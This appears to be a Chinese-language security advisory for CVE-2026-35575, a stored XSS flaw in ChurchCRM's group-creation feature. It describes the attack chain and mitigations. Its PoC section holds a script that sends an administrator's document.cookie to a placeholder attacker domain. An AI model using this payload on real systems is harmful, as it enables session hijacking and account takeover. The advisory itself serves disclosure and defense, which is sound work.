IPBUF安全漏洞报告
English
CVE-2026-35575 CVSS 8.0 高危

CVE-2026-35575 ChurchCRM存储型XSS漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35575
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

XSS存储型XSSChurchCRM权限提升会话劫持CVE-2026-35575

漏洞概述

ChurchCRM是一款开源的教会管理系统。在6.5.3版本之前,该系统管理员面板的群组创建功能中存在严重的存储型跨站脚本(XSS)漏洞。拥有群组创建权限的攻击者可以注入恶意JavaScript代码,该代码会在管理员查看相关页面时自动执行。利用此漏洞,攻击者能够窃取管理员的会话凭据,从而完全接管管理员账户,造成敏感数据泄露或系统被破坏。

技术细节

该漏洞的根本原因在于ChurchCRM应用程序未能对用户在“群组创建”接口提交的数据进行严格的输入验证和输出编码。具体而言,当用户创建群组时,应用程序直接将未经净化的数据(如群组名称、描述等)存储在后端数据库中,且在渲染页面时未应用HTML实体转义。由于缺乏内容安全策略(CSP)的有效约束,当具有高权限的管理员访问包含恶意数据的群组管理页面时,浏览器会将这些数据解析为HTML/JavaScript并执行。攻击者利用这一机制,通过构造特定的XSS Payload(如窃取document.cookie的脚本),结合社会工程学诱导管理员查看特定页面,即可在管理员上下文中执行任意代码。这种攻击方式绕过了传统的访问控制检查,因为恶意代码是在受害者的浏览器中以受害者的身份运行的,从而实现权限提升、会话劫持及后续的恶意操作。

攻击链分析

STEP 1
步骤1
攻击者使用具备群组创建权限的低权限账户登录ChurchCRM系统。
STEP 2
步骤2
攻击者导航至群组创建功能,在群组名称或描述字段中注入恶意JavaScript代码(如XSS Payload)。
STEP 3
步骤3
系统将包含恶意代码的数据存储在数据库中,未进行有效的转义处理。
STEP 4
步骤4
管理员登录系统并浏览群组列表或查看受感染群组的详情页面。
STEP 5
步骤5
管理员的浏览器解析页面内容并执行注入的恶意脚本。
STEP 6
步骤6
恶意脚本将管理员的Session Cookie发送至攻击者控制的服务器。
STEP 7
步骤7
攻击者利用窃取的Cookie伪造管理员身份,接管管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Exploit Payload Injected in Group Name --> <script> // Send current user's cookies to attacker's server var img = new Image(); img.src = "https://attacker-controlled-domain.com/steal?c=" + encodeURIComponent(document.cookie); </script>

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
在升级修复之前,应严格限制拥有群组创建权限的用户数量。建议管理员谨慎查看由非受信用户创建的群组信息。可在Web应用防火墙(WAF)中部署针对XSS攻击的检测规则以拦截恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表